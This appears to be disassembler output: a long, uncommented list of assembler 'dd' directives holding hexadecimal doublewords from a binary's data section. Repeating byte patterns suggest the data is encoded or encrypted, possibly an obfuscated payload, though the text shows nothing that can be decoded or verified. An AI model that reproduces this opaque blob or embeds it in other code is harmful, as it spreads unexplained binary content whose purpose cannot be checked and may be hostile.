		dd 8E3FF37Ah, 849EC7F7h, 4FF78585h, 6A6BF91Ah, 7A7A6AC3h
		dd 0F7DF897Ah, 4FF7DE07h, 6A6BF9DAh, 7A7A6AC3h,	0F7DF897Ah
		dd 85851EC7h, 9A4FF785h, 0C36A6BF9h, 7A7A7A6Ah,	0C7F7DF89h
		dd 8585855Eh, 0FE5A4FF7h, 6AC36A6Bh, 897A7A7Ah,	0FB0EDBDFh
		dd 0B9F36A6Bh, 91F9B97Bh, 7B4B9374h, 0A5F37A7Ah, 85789DBBh
		dd 849E47CEh, 47F18585h, 6A6BFBF6h, 2D7CBDF9h, 857607F1h
		dd 0F85E54Eh, 860F858Ah, 85820F85h, 3E928E0Fh, 0F98585B3h
		dd 3FF366BEh, 0FB82DB8Eh, 433A6A6Bh, 0F3320EB9h, 5E4779A5h
		dd 856A6BF8h, 849EC7CEh, 0C5758585h, 6BFBEA47h,	0CA47796Ah
		dd 356A6BFAh, 8E47F12Dh, 0F96A6BFBh, 0A4F37295h, 7F1847Bh
		dd 0CD4E8576h, 85860F85h, 0F85820Fh, 8A0F858Eh,	85B28892h
		dd 66BEF985h, 0F18A3FF3h, 6BFB1247h, 4FC5756Ah,	6A6BFB32h
		dd 0F3358D7Bh, 85847BA4h, 849ECFCEh, 0C5758585h, 6BFAAA47h
		dd 71BDF96Ah, 47C5752Dh, 6A6BFBB6h, 0F37D95F9h,	0F1847BA4h
		dd 4E857607h, 820F85CDh, 858E0F85h, 0F858A0Fh, 0B2DB9286h
		dd 3FF38585h, 47C57586h, 6A6BF86Ah, 0FB824779h,	95F96A6Bh
		dd 7BA4F37Fh, 0CFCE8584h, 8585849Eh, 0FBC647F1h, 0BDF96A6Bh
		dd 0C5752D6Ah, 6BFBE247h, 78BDF96Ah, 847BA4F3h,	857607F1h
		dd 0F85CD4Eh, 8A0F858Eh, 820F852Ah, 85B22C92h, 42BEF985h
		dd 0DB823FF3h, 6A6BFB1Ah, 0FB2E7F79h, 92F96A6Bh, 75B97B71h
		dd 0FB1E7FC5h, 0BAF96A6Bh, 75B94371h, 8584C7FCh, 0FB2EDB85h
		dd 0B9F36A6Bh, 0FB266779h, 91F96A6Bh, 0FB7ADB71h, 0C5756A6Bh
		dd 6BFA866Fh, 0F9AA7B6Ah, 3FF37192h, 7BE39396h,	7F17A7Ah
		dd 0C70E8596h, 247F1DEh, 0F96A6BFBh, 0F12D7E95h, 4E857607h
		dd 8A0F85E5h, 85860F85h, 0F85820Fh, 0B2FE928Eh,	0BEF98585h
		dd 8E3FF366h, 6BF836DBh, 7E92F96Ah, 7EDBB97Bh, 0F96A6BF8h
		dd 0B94374BAh, 0CEDB7008h, 0F96A6BFBh, 0B95376BAh, 0F19607F1h
		dd 6BFAA64Fh, 7994F96Ah, 0E858D7Bh, 47F1DEC7h, 6A6BFB0Eh
		dd 3A4FC575h, 7B6A6BF8h, 7C95F98Dh, 7607F12Dh, 85E54E85h
		dd 0F85860Fh, 8E0F8582h, 928A0F85h, 8585B258h, 0F366BEF9h
		dd 0AEDB8A3Fh, 796A6BFAh, 6BFA9E7Fh, 7F92F96Ah,	9EDBB97Bh
		dd 0F96A6BFAh, 7F797EBAh, 6A6BFB0Eh, 7008B943h,	6BFBCEDBh
		dd 76BAF96Ah, 7F1B953h,	4FC57596h, 6A6BF86Ah, 0F87A4F79h
		dd 94F96A6Bh, 858D7B72h, 0F1DEC70Eh, 6BFBF647h,	73BDF96Ah
		dd 0FB9E4779h, 0F12D6A6Bh, 4E857607h, 820F85E5h, 858E0F85h
		dd 0F858A0Fh, 0BDCA9286h, 0BEF98585h, 863FF366h, 6BFB02DBh
		dd 7E92F96Ah, 42DBB97Bh, 0F96A6BF8h, 0B9436ABAh, 0A2DB7008h
		dd 0F96A6BFAh, 0B95370BAh, 0F19607F1h, 6BF87A4Fh, 7894F96Ah
		dd 0E858D7Bh, 0C575DEC7h, 6BFABE47h, 74BDF96Ah,	7607F12Dh
		dd 85E54E85h, 0F858E0Fh, 860F858Ah, 92820F85h, 8585BD2Ch
		dd 0F366BEF9h, 7ADB823Fh, 0F96A6BFBh, 0B97B7E92h, 6A7FC575h
		dd 0F16A6BF8h, 6BFBDA6Fh, 6A3EF76Ah, 8B94379h, 0FB0ADB69h
		dd 0BAF96A6Bh, 6FC57572h, 6A6BFB3Eh, 0B953AA7Bh, 6BFBF6DBh
		dd 79BAF96Ah, 0DB963F7Bh, 6A6BF85Eh, 4371BAF9h,	0FC75963Fh
		dd 8585842Ch, 0FAC667F1h, 0B9F96A6Bh, 7FC5757Fh, 6A6BFB42h
		dd 0F37992F9h, 0E393923Fh, 0F17A7A7Bh, 0CE859207h, 85851EC7h
		dd 0B247F185h, 0F96A6BFAh, 0F12D79BDh, 4E857607h, 8A0F85E5h
		dd 85860F85h, 0F85820Fh, 0A324928Eh, 0BEF98585h, 8E3FF366h
		dd 6BFA9ADBh, 7992F96Ah, 6EDBB97Bh, 0F96A6BFBh,	0B94375BAh
		dd 0C5757608h, 6BFABE7Fh, 70BAF96Ah, 7F1B953h, 0AE4FF192h
		dd 0F96A6BFAh, 8D7B7E94h, 1EC7CE85h, 0F1858585h, 6BFB7A47h
		dd 78BDF96Ah, 7607F12Dh, 85E54E85h, 0F85860Fh, 8E0F8582h
		dd 928A0F85h, 8585A37Ah, 0F366BEF9h, 0C5758A3Fh, 6BF83E7Fh
		dd 6FC5756Ah, 6A6BFB7Eh, 92F9AA7Bh, 0DBB97B7Eh,	6A6BFA9Eh
		dd 4371BAF9h, 0DB6A08B9h, 6A6BF846h, 7975BAF9h,	6BFB4A7Fh
		dd 0F1B9536Ah, 4FF19207h, 6A6BFBCEh, 7B7894F9h,	0C7CE858Dh
		dd 8585851Eh, 0FB9A47F1h, 0BDF96A6Bh, 7F12D76h,	0E54E8576h
		dd 85820F85h, 0F858E0Fh, 860F858Ah, 85A2E992h, 66BEF985h
		dd 0DB863FF3h, 6A6BFBBAh, 7B78BAF9h, 7FC575B9h,	6A6BFB3Eh
		dd 4376BAF9h, 0DB7008B9h, 6A6BFBB2h, 5372BAF9h,	9207F1B9h
		dd 0FB8E4FF1h, 0C5756A6Bh, 6BF8726Fh, 0F9AC7B6Ah, 8D7B7D94h
		dd 1EC7CE85h, 0F1858585h, 6BFB2247h, 68BDF96Ah,	0FB4E4779h
		dd 0F12D6A6Bh, 4E857607h, 8E0F85E5h, 858A0F85h,	0F85860Fh
		dd 0A25C9282h, 0BEF98585h, 823FF366h, 6BF84ADBh, 78BAF96Ah
		dd 9ADBB97Bh, 0F96A6BFBh, 7F7971BAh, 6A6BFAB2h,	7608B943h
		dd 0EA7FC575h, 0F96A6BFBh, 0B95372BAh, 6BFB0ADBh, 923F7B6Ah
		dd 427FC575h, 0F96A6BFBh, 3F4373BAh, 2EFC7592h,	0F1858584h
		dd 6BFADE67h, 7D91F96Ah, 6BFA9EDBh, 3A7F796Ah, 0F96A6BFBh
		dd 3FF37C92h, 7BBD939Eh, 7F17A7Ah, 0C7CE859Eh, 8585855Eh
		dd 0F83247F1h, 0BDF96A6Bh, 7F12D78h, 0E54E8576h, 858A0F85h
		dd 0F85860Fh, 8E0F8582h, 85C70E92h, 66BEF985h, 0DB8E3FF3h
		dd 6A6BFBBAh, 797CBAF9h, 6BF8427Fh, 0DBB97B6Ah,	6A6BFBB2h
		dd 4372BAF9h, 0DB7008B9h, 6A6BFAA2h, 5370BAF9h,	9E07F1B9h
		dd 7E4FC575h, 796A6BFBh, 6BFB6A4Fh, 7294F96Ah, 0CE858D7Bh
		dd 85855EC7h, 0FE47F185h
		dd 756A6BFBh, 0FBDE4FC5h, 8D7B6A6Bh, 7607F12Dh,	85E54E85h
		dd 0F85860Fh, 8E0F8582h, 928A0F85h, 8585C77Fh, 0F366BEF9h
		dd 36DB8A3Fh, 0F96A6BFBh, 7F797EBAh, 6A6BF85Eh,	0C575B97Bh
		dd 6BFBEE7Fh, 0B26FF16Ah, 0F76A6BFBh, 437D6A3Eh, 756908B9h
		dd 0FB1E7FC5h, 6FF16A6Bh, 6A6BFB02h, 7C6A3EF7h,	7F1B953h
		dd 0A24FF19Eh, 0F96A6BFAh, 8D7B7E94h, 5EC7CE85h, 0F1858585h
		dd 6BFBA247h, 7CBDF96Ah, 0FA9E4779h, 0F12D6A6Bh, 4E857607h
		dd 820F85E5h, 858E0F85h, 0F858A0Fh, 0C6F19286h,	0BEF98585h
		dd 863FF366h, 6BF86EDBh, 7EBAF96Ah, 0BADBB97Bh,	0F96A6BFBh
		dd 0B94375BAh, 9EDB6908h, 0F96A6BFAh, 0C5757FBAh, 6BFABE6Fh
		dd 53AA7B6Ah, 9E07F1B9h, 0BE4FC575h, 0F96A6BFAh, 8D7B7994h
		dd 5EC7CE85h, 0F1858585h, 6BFB6647h, 6BBDF96Ah,	0FB124779h
		dd 0F12D6A6Bh, 4E857607h, 8E0F85E5h, 858A0F85h,	0F85860Fh
		dd 0C6659282h, 0BEF98585h, 823FF366h, 327FC575h, 756A6BFBh
		dd 0FAD26FC5h, 3EF76A6Bh, 0B97B7C6Ah, 6BFBBADBh, 75BAF96Ah
		dd 0FBFA7F79h, 0B9436A6Bh, 66DB6908h, 0F96A6BF8h, 0C57573BAh
		dd 6BFB426Fh, 53AA7B6Ah, 0FB26DBB9h, 3F7B6A6Bh,	0FB2EDB9Eh
		dd 0BAF96A6Bh, 9E3F437Eh, 8452FC75h, 7F18585h, 824FF172h
		dd 796A6BFBh, 6BFBDA4Fh, 7625F16Ah, 0F38A2779h,	759ACD26h
		dd 0FAEE4FC5h, 4F796A6Bh, 6A6BFB4Ah, 277965F1h,	0CD26F38Eh
		dd 4FC5758Eh, 6A6BF83Ah, 0F87A4F79h, 25F16A6Bh,	86277972h
		dd 0AECD26F3h, 0FBF64FF1h, 25F16A6Bh, 8227797Eh, 25CD66F3h
		dd 0B9B32124h, 129FF32Fh, 6A6B116Eh, 53826F85h,	6EDB6A7Fh
		dd 276A6B11h, 2F7A7EB8h, 96FB9FF3h, 7A7A7962h, 0F12D2C29h
		dd 27F1720Fh, 3A47F176h, 356A6BFBh, 7A785193h, 0F780127Ah
		dd 0CF926A6Bh, 2D8585C8h, 87EFF72Ah, 28858586h,	23526F85h
		dd 0F2DB6A77h, 7F6A6BFBh, 7A7A7A80h, 0FBF67F79h, 0FFF36A6Bh
		dd 85858786h, 6BF79212h, 0C8FC926Ah, 0EFF78585h, 85858696h
		dd 86EFF728h, 28858587h, 857BEFF7h, 2A288585h, 8687EFF7h
		dd 12288585h, 0FA7A7A7Bh, 7A68FA92h, 56BEF97Ah,	868AFFF3h
		dd 0BAFF8585h, 7BC3FE75h, 0FFF77A7Ah, 85858478h, 79FFF72Ah
		dd 2A858585h, 85B93892h, 0FA9ADB85h, 7F796A6Bh,	6A6BF87Ah
		dd 2A7092F9h, 8478FFF7h, 292A8585h, 859F3092h, 6EBEF985h
		dd 0FB166FF1h, 0B8FB6A6Bh, 7A7A8580h, 0FE75AA43h, 7A7A7B09h
		dd 6BF7F012h, 0CB84926Ah, 2A238585h, 857BEFF7h,	92288585h
		dd 7A7A26B7h, 6BFBFEDBh, 1A7F796Ah, 0F96A6BFBh,	0FFF37192h
		dd 8585868Eh, 6BFB8EDBh, 7392F96Ah, 8682FFF3h, 4F918585h
		dd 8682FFF1h, 0C6FA8585h, 85857B7Fh, 650F5985h,	8682FFF1h
		dd 6FF18585h, 6A6BFB6Ah, 0E677C575h, 7B6A6BFAh,	7590F9B0h
		dd 7B7FEEF2h, 85858585h, 858682FFh, 82C7FB85h, 85858586h
		dd 87A7A7Ah, 0FA92DBC5h, 817F6A6Bh, 797A7A7Ah, 6BFAA67Fh
		dd 86FFF36Ah, 0F7858587h, 858696FFh, 0FFF72A85h, 85858786h
		dd 78FFF72Ah, 2A858584h, 868EFFF1h, 0FEF78585h,	85857B7Fh
		dd 0FFF72A85h, 85858687h, 7A7B122Ah, 1892FA7Ah,	0F97A7A6Bh
		dd 0FFF362BEh, 8585868Ah, 5A0FBAFFh, 927FC575h,	756A6BFBh
		dd 0FBEA6FC5h, 0AA7B6A6Bh, 0FB4E6FF1h, 90F96A6Bh, 7FEEF278h
		dd 85858789h, 868EFFF1h, 0FFF38585h, 85858692h,	7B7FF6F7h
		dd 0F9858585h, 0FA3A85B2h, 0F7A7B46h, 92F7F183h, 7B858586h
		dd 8EF7F3BBh, 0F7858586h, 858478FFh, 852C2A85h,	7A8A566Fh
		dd 72BEF96Ah, 6BF7FF12h, 0CAB4926Ah, 0BEF98585h, 852C2A7Eh
		dd 7A8A566Fh, 72BEF96Ah, 868EFF85h, 0FFF18585h,	8585868Eh
		dd 7FFECC75h, 8585857Bh, 0FB226FF1h, 6F796A6Bh,	6A6BFBC6h
		dd 437390F9h, 70FF75AAh, 3D858585h, 6BFB6ADBh, 6FBAF96Ah
		dd 0F875BD43h, 858587BFh, 0B3212425h, 9FF32FB9h, 727FC575h
		dd 326A6BF8h, 116E7F43h, 710C6A6Bh, 6B116E12h, 6E6F856Ah
		dd 0DB6A7A8Ah, 6A6B116Eh, 7A7EB827h, 36F12C29h,	4FF1765Eh
		dd 6A6BF86Eh, 0FAA267F1h, 0B9FB6A6Bh, 95B7D1F8h, 0B66FC575h
		dd 7B6A6BFAh, 0CB26F3A9h, 4FC57582h, 6A6BFB42h,	0FB1A67F1h
		dd 0B9FB6A6Bh, 6A482E15h, 75CB66F3h, 0FBBE4FC5h, 4F796A6Bh
		dd 6A6BFB7Ah, 0FB2A67F1h, 0B9FB6A6Bh, 0E2C0A68Eh, 0FBC66779h
		dd 26F36A6Bh, 4FF1BECBh, 6A6BFB6Ah, 3267C575h, 0FB6A6BFBh
		dd 3F597AB9h, 0CB26F31Dh, 0B92124A6h, 0F700122Dh, 0AF926A6Bh
		dd 238585D5h, 0E26F852Ah, 0D96A7B5Fh, 6A6BF816h, 6BFB76DBh
		dd 6FC5756Ah, 6A6BFB52h, 92F9AA7Bh, 167F437Dh, 0F6A6BF8h
		dd 0F715126Dh, 0DF926A6Bh, 238585D5h, 626F852Ah, 0D96A7F48h
		dd 6A6BF816h, 527FC575h, 0F96A6BFBh, 7F437F92h,	6A6BF816h
		dd 2312670Eh, 926A6BF7h, 8585D506h, 4F852A23h, 6A6BF816h
		dd 5BD66F85h, 0CED96A7Bh, 256A7B5Fh, 9FF32FB9h,	2D2C292Bh
		dd 0F37627F1h, 7E95BBA5h, 77F182F3h, 6A6BFB0Eh,	8D73BBF9h
		dd 863FF39Bh, 0BC53A4F3h, 7E67C575h, 396A6BFBh,	0A4F38BF3h
		dd 27F19CA9h, 66CD7572h, 5BA5F301h, 0F8D438Dh, 7FC5756Eh
		dd 6A6BFB3Eh, 4779BDF3h, 6A6BFAE2h, 917695F9h, 7FC57568h
		dd 6A6BFA82h, 4779BDF3h, 6A6BFB3Ah, 0F37C95F9h,	21242582h
		dd 0F32FB9B3h, 6A96F99Fh, 0F72D2C29h, 852A863Fh, 0B592720Fh
		dd 0F97A7A41h, 0BCF372BEh, 0EE7FC575h, 326A6BFBh, 7D0FBC43h
		dd 0D393BA4Bh, 0DB7A7A7Ah, 6A6BFBDAh, 4779BDF3h, 6A6BFB9Ah
		dd 0F17295F9h, 0BBF3763Fh, 3A85B2F9h, 7A7B46FAh, 3FF3830Fh
		dd 4476F782h, 3A85B2F9h, 7A7B46FAh, 0B9F3830Fh,	416A2751h
		dd 350F8227h, 7B8A3FBDh, 757A7A7Ah, 0FB527FC5h,	92F96A6Bh
		dd 8E3FF37Fh, 3FF15891h, 7B80F38Eh, 6A2F79B8h, 6C6ECC75h
		dd 757637F1h, 437B7EC4h, 0F97C0EB8h, 917A8A1Fh,	8E3F8572h
		dd 88E2743h, 8A07F9A3h,	2C760E7Ah, 5FB66F85h, 0BA4B6A7Bh
		dd 795B913Ah, 42DB6A07h, 3A6A6BF8h, 0F8767F79h,	0BD7B6A6Bh
		dd 741A57Bh, 2CF80886h,	5FB66F85h, 0BA4B6A7Bh, 0B3212425h
		dd 9FF32FB9h, 2C7696F9h, 760FF12Dh, 4B723FF1h, 0F18C8DA8h
		dd 6BFBD647h, 7895F96Ah, 7F0F8043h, 91723FF1h, 723FF160h
		dd 8C8DA84Bh, 0F3823FF3h, 0F39C8DBDh, 0BDF38E3Fh, 7F38D7Bh
		dd 2582F386h, 2FB9B324h, 96FB9FF3h, 7A7A784Ah, 0F12D2C29h
		dd 27F1720Fh, 47A2F376h, 7A7A7B7Ah, 0F6756C0Eh,	7A7A7FB1h
		dd 7A7B6B47h, 0DAFE757Ah, 937A7A7Ah, 7A7A7FC1h,	736A07F9h
		dd 7FCBFF75h, 0C5757A7Ah, 6BF83A47h, 7295F96Ah,	4AC21191h
		dd 8D7A7A7Ah, 82FFF39Dh, 43858587h, 4F1E7F4Eh, 650F6A73h
		dd 7A7A4AC2h, 0F39D8D7Ah, 85878EFFh, 7F4E8585h,	6A734F12h
		dd 53866F85h, 0A936A7Fh, 0C27A7A7Fh, 7A7A7A4Ah,	0FFF39D8Dh
		dd 8585878Eh, 1A7F4E43h, 0F6A734Fh, 7A4AC265h, 9D8D7A7Ah
		dd 878AFFF3h, 4E858585h, 734F1E7Fh, 866F856Ah, 936A7F53h
		dd 7A7A7F41h, 7FC5753Dh, 6A6BF86Ah, 0FBC66FF1h,	3EF76A6Bh
		dd 0BD43236Ah, 5A93FA08h, 757A7A7Fh, 0FB527FC5h, 0BDF36A6Bh
		dd 0FB0E4779h, 95F96A6Bh, 0C2609176h, 7A7A7A4Ah, 0FFF39D8Dh
		dd 85858782h, 167F7EF1h, 436A734Fh, 690E6E3Fh, 0FB3ADB3Dh
		dd 0BAF96A6Bh, 0FA7F7919h, 436A6BFBh, 0DBAE08BDh, 6A6BFBCAh
		dd 4327BAF9h, 0AAFE75BDh, 127A7A7Eh, 7A7A7A85h,	8487FFF7h
		dd 0C22A8585h, 7A7A7A4Ah
		dd 0FFF39D8Dh, 8585878Eh, 227F4E85h, 856A734Fh,	6B15426Fh
		dd 7FC5756Ah, 6A6BFBDEh, 8C7FFEBCh, 31858587h, 467FC575h
		dd 0F16A6BFBh, 6BFBA26Fh, 7E90F96Ah, 8F7FEEF2h,	75858587h
		dd 0FBD27FC5h, 7F796A6Bh, 6A6BFA92h, 867FFEBCh,	6858587h
		dd 8487FFF7h, 0F72A8585h, 858786FFh, 6F852A85h,	6A7A8A56h
		dd 1272BEF9h, 7A7A7A85h, 8487FFF7h, 0C22A8585h,	7A7A7A4Ah
		dd 0FFF39D8Dh, 8585878Ah, 1A7F4E85h, 856A734Fh,	6B15426Fh
		dd 0F876DB6Ah, 0C5756A6Bh, 6BFBEE6Fh, 75AA7B6Ah, 827FFEC4h
		dd 0F1858584h, 6BFBB26Fh, 666F796Ah, 0F96A6BFBh, 0AA437090h
		dd 4C12260Fh, 926A6BF7h, 8585D18Ah, 6FC57523h, 6A6BFB42h
		dd 287990F9h, 0FB8E6FF1h, 6F796A6Bh, 6A6BFAD6h,	286A90F9h
		dd 3A6FF12Ah, 796A6BFBh, 6BFAC26Fh, 7F90F96Ah, 426F8528h
		dd 0C26A7723h, 7A7A7A4Ah, 0FFF39D8Dh, 85858796h, 1A7F4E85h
		dd 856A734Fh, 7F53866Fh, 79D7936Ah, 4B127A7Ah, 926A6BF7h
		dd 8585D1EEh, 86EFF72Ah, 28858587h, 8A566F85h, 0FFF76A7Ah
		dd 85858487h, 86FFF72Ah, 2A858587h, 8A566F85h, 0BEF96A7Ah
		dd 7A85126Eh, 0FFF77A7Ah, 85858487h, 7A4AC22Ah,	9D8D7A7Ah
		dd 8796FFF3h, 4E858585h, 734F1E7Fh, 426F856Ah, 0DB6A6B15h
		dd 6A6BFAD6h, 7FFEC475h, 8585848Ch, 0FAE26FF1h,	6F796A6Bh
		dd 6A6BFABAh, 437190F9h, 12200FAAh, 6A6BF775h, 85D16592h
		dd 6FF12385h, 6A6BFB3Ah, 0FAB26F79h, 90F96A6Bh,	6FF12878h
		dd 6A6BFB82h, 0FB166F79h, 90F96A6Bh, 752A2872h,	0FB326FC5h
		dd 28306A6Bh, 23426F85h, 4AC26A77h, 8D7A7A7Ah, 92FFF39Dh
		dd 85858587h, 4F1E7F4Eh, 6F856A73h, 6A7F5386h, 7A78A493h
		dd 0F770127Ah, 0BF926A6Bh, 2A8585D0h, 8786EFF7h, 85288585h
		dd 7A8A566Fh, 87FFF76Ah, 2A858584h, 8786FFF7h, 852A8585h
		dd 7A8A566Fh, 6EBEF96Ah, 7A7A8512h, 87FFF77Ah, 2A858584h
		dd 7A7A4AC2h, 0F39D8D7Ah, 858792FFh, 7F4E8585h,	6A734F12h
		dd 15426F85h, 2EDB6A6Bh, 756A6BFBh, 8F7FFEC4h, 75858584h
		dd 0F86A6FC5h, 6F796A6Bh, 6A6BF846h, 437F90F9h,	53FE75AAh
		dd 0F77A7A7Bh, 858487F7h, 85B2F985h, 7B46FA3Ah,	0F3830F7Ah
		dd 5677F1B8h, 756A6BF8h, 0F8727FC5h, 0BB7B6A6Bh, 437E93F9h
		dd 87F875B0h, 0DB7A7A7Ah, 6A6BF856h, 0F27D92F9h, 858481FFh
		dd 75589185h, 8481FFCCh, 0FEF08585h, 8584877Fh,	64A4685h
		dd 443467Eh, 7AA8937Fh,	0FFFA7A7Ah, 85858481h, 87F7F77Bh
		dd 0F9858584h, 0FA3A85B2h, 0F7A7B46h, 0F7CC7583h, 85858481h
		dd 0B908BB43h, 6BFB9ADBh, 767F796Ah, 0F96A6BF8h, 0FFF27292h
		dd 85858486h, 0FFF00C91h, 85858486h, 879DFFF2h,	53918585h
		dd 9DFFCC75h, 75858587h, 877FFEC4h, 75858584h, 8486EFCCh
		dd 0C4758585h, 84876FEEh, 0AA438585h, 0FFFA580Fh, 8585879Dh
		dd 87F7F77Bh, 0F9858584h, 0FA3A85B2h, 0F7A7B46h, 0F7CC7583h
		dd 8585879Dh, 0C608BB43h, 9DFFCC75h, 75858587h,	8486EFCCh
		dd 0AA538585h, 0FAC66FF1h, 0B8F96A6Bh, 5AA4379h, 86FFFA51h
		dd 7B858584h, 8487F7F7h, 0B2F98585h, 46FA3A85h,	830F7A7Bh
		dd 86F7CC75h, 43858584h, 11F875BBh, 93858585h, 7A7A7AE6h
		dd 6BFB0ADBh, 7DB67F6Ah, 852A7A7Ah, 77235E6Fh, 0F6AB126Ah
		dd 6B926A6Bh, 0F38585D3h, 85879EFFh, 0F6C01285h, 7B926A6Bh
		dd 0F18585D3h, 6BFB726Fh, 7290F96Ah, 0EFF12A28h, 8585879Eh
		dd 566FF128h, 796A6BF8h, 6BFA966Fh, 7290F96Ah, 426F8528h
		dd 126A7723h, 6A6BF6CCh, 85D2B592h, 6ABEF985h, 7A4AC22Ah
		dd 9D8D7A7Ah, 879AFFF3h, 0B8F38585h, 126F4E85h,	856A734Fh
		dd 6B232E6Fh, 7A4AC26Ah, 9D8D7A7Ah, 87A6FFF3h, 4E858585h
		dd 734F127Fh, 866F856Ah, 936A7F53h, 7A7A7AE5h, 6BF6CB12h
		dd 0D2FC926Ah, 0F72A8585h, 858786EFh, 6F852885h, 6A7A8A56h
		dd 8487FFF7h, 0F72A8585h, 858786FFh, 6F852A85h,	6A7A8A56h
		dd 7A7A4AC2h, 0F39D8D7Ah, 8587A2FFh, 7F4E8585h,	6A734F22h
		dd 4B926F85h, 0FFF76A7Fh, 85858786h, 6E6F852Ah,	0F96A7B7Ah
		dd 7F1062BEh, 7A7A4AC2h, 0F39D8D7Ah, 8587AEFFh,	7F4E8585h
		dd 6A734F2Eh, 23226F85h, 4AC26A6Bh, 8D7A7A7Ah, 0AAFFF39Dh
		dd 75858587h, 0FBE27FC5h, 0C5756A6Bh, 6BFBB66Fh, 0F9AA7B6Ah
		dd 0EFF17092h, 858587AAh, 2A6F7EF3h, 0F16A734Fh, 6BFBA647h
		dd 7AAD936Ah, 4AC27A7Ah, 8D7A7A7Ah, 823FF39Dh, 267F4E41h
		dd 0F6A734Fh, 6E0F855Eh, 296A0F85h, 7A4AC22Ch, 9D8D7A7Ah
		dd 858E3FF3h, 4F067F4Eh, 6F856A73h, 6A732282h, 7A7AC393h
		dd 7A4AC27Ah, 9D8D7A7Ah, 418A3FF3h, 4F127F4Eh, 5E0F6A73h
		dd 856E0F85h, 2C296A0Fh, 7A7A4AC2h, 0F39D8D7Ah,	4E85963Fh
		dd 734F027Fh, 826F856Ah, 936A7322h, 7A7A7AF8h, 7A7A4AC2h
		dd 0F39D8D7Ah, 4E41923Fh, 734F1A7Fh, 855B0F6Ah,	0F856E0Fh
		dd 0C22C296Ah, 7A7A7A4Ah, 3FF39D8Dh, 7F4E859Eh,	6A734F0Ah
		dd 22826F85h, 34916A73h, 7A7A4AC2h, 0F39D8D7Ah,	4E419A3Fh
		dd 734F1E7Fh, 855B0F6Ah, 0F856E0Fh, 0C22C296Ah,	7A7A7A4Ah
		dd 3FF39D8Dh, 7F4E85A6h, 6A734F0Eh, 22826F85h, 60916A73h
		dd 0FA92DB3Dh, 0BAF96A6Bh, 6FC57524h, 6A6BFACEh, 0BD43AA7Bh
		dd 856AF875h, 24258585h, 6AB8B321h, 9FF32F7Ah, 7B7E96FBh
		dd 2D2C7A7Ah, 757607F1h, 0FAAA7FC5h, 0C5756A6Bh, 6BFB326Fh
		dd 0F9AA7B6Ah, 46FA7D92h, 3F0E547Dh, 0F7720F85h, 858486FFh
		dd 6F852A85h, 6A7B5BDEh, 6BF6D612h, 0DCD4926Ah,	0F72A8585h
		dd 858486CFh, 6F852C85h, 6A7A8A56h, 86FFF72Dh, 2A858584h
		dd 8A566F85h, 0FFF76A7Ah, 85858486h, 4616922Ah,	0BEF97A7Ah
		dd 0B324255Ah, 0F12C29B9h, 0F1765E26h, 0F16A5E0Eh, 6BF86E77h
		dd 67BBF96Ah, 6BF866DBh, 6FC5756Ah, 6A6BFB8Ah, 92F9AA7Bh
		dd 91BB5373h, 6EF11C64h, 6E411C31h, 4B7E0934h, 1C6791BAh
		dd 1C316EF1h, 0C346E41h, 3ABA4B7Fh, 0DB337491h,	6A6BF85Eh
		dd 7BB4332h, 3ABA4BA2h,	2FB92124h, 2C299FF3h, 6A0FF12Dh
		dd 4B6E27F1h, 0F15B9185h, 539AC76Eh, 6FF36A7Bh,	6A7A8A72h
		dd 7A1E6012h, 852C296Ah, 0F85760Fh, 726F8572h, 3D6A7A8Ah
		dd 0F8DE4741h, 0AD086A6Bh, 27212425h, 9FF32FB9h, 293696F9h
		dd 6F852D2Ch, 6A6B200Ah, 0F1863FF3h, 4FF17227h,	6A6BFAC2h
		dd 917E94F9h, 966FF136h, 0F96A6BFBh, 6E437990h,	7B6A9ACFh
		dd 0F1430E6Ah, 332ACF6Eh, 77F16A73h, 6A6BFAA2h,	9020BBFBh
		dd 0DADB7A7Ah, 796A6BFAh, 6BFB227Fh, 0D575326Ah, 41B07BB2h
		dd 6A09862Fh, 0FBCA6FF1h, 90F96A6Bh, 0CF6EF37Dh, 6A7B6A9Ah
		dd 0FBAADB3Ch, 9A7F6A6Bh, 797A7A79h, 6BFA967Fh,	8BC436Ah
		dd 0F379F1DAh, 66F78A3Fh, 51A2F379h, 3F41723Fh,	0BCF97576h
		dd 757A7A7Bh, 0FB1E7FC5h, 0BAF96A6Bh, 8A3F4379h, 0A2F3A10Dh
		dd 0F1723F51h, 6BFB226Fh, 5E6F796Ah, 306A6BFBh,	3FF3AA53h
		dd 0F9A3F382h, 0FA3A85B2h, 0F7A7B46h, 8E3FF383h, 6BF832DBh
		dd 79BDF36Ah, 6BFAD647h, 7195F96Ah, 6FF14F91h, 6A6BFB96h
		dd 0FADE6F79h, 90F96A6Bh, 0C76E4370h, 6A7B6A9Ah, 2FF1660Eh
		dd 0C76E4382h, 6A7B7A5Ah, 6EF06A0Fh, 7B5BCA47h,	622F406Ah
		dd 7B4AFE75h, 0DB3D7A7Ah, 6A6BF876h, 7A799E7Fh,	8BD437Ah
		dd 0FBF2DBC7h, 0C17F6A6Bh, 437A7A79h, 0FC758E3Fh, 7A7A7AC2h
		dd 6BFB5ADBh, 7F793A6Ah
		dd 6A6BFBC6h, 0CF3FF72Ah, 0BDDE922Ah, 0BEF98585h, 0FBC6DB72h
		dd 0C87F6A6Bh, 757A7A79h, 0FBBE6FC5h, 0AA7B6A6Bh, 0DB963FF3h
		dd 6A6BF856h, 0F37D92F9h, 3FF1923Fh, 797EF096h,	0F19D3FF2h
		dd 0C575963Fh, 6BFBBE6Fh, 8E6F796Ah, 0F96A6BFBh, 6EF26B90h
		dd 759A1279h, 0F856A7Bh, 920F858Eh, 2ACF3FF7h, 856E3FF1h
		dd 720F854Ah, 6A0F8529h, 727FC575h, 326A6BF8h, 7A7A855Fh
		dd 0C6922A7Ah, 0F97A7A7Eh, 3FF15EBEh, 923FF396h, 0F29D2FF0h
		dd 4ADB796Eh, 7F6A6BF8h, 7A7A79C5h, 0F1963F7Bh,	3F438E3Fh
		dd 0F3790C96h, 3FF1963Fh, 923F438Eh, 0F8912909h, 6BF6DD12h
		dd 0D98C926Ah, 9A128585h, 856A7B75h, 0C5758E0Fh, 6BFBDE6Fh
		dd 77C5756Ah, 6A6BFBE2h, 90F9B07Bh, 0F12A287Dh,	48856E2Fh
		dd 29720F85h, 0F16A0F85h, 6BFADA6Fh, 6E6F796Ah,	0F96A6BFBh
		dd 98FB7E90h, 7A7A7A85h, 7E479228h, 0BEF97A7Ah,	6E3FF152h
		dd 3FF17A85h, 7966F78Eh, 6E3FF139h, 0F8526FF1h,	0B8F96A6Bh
		dd 756A4376h, 85845EFCh, 0F6D91285h, 0FF926A6Bh, 128585D9h
		dd 6A7B759Ah, 0FBA26FF1h, 0C5756A6Bh, 6BFAAA77h, 0F9B07B6Ah
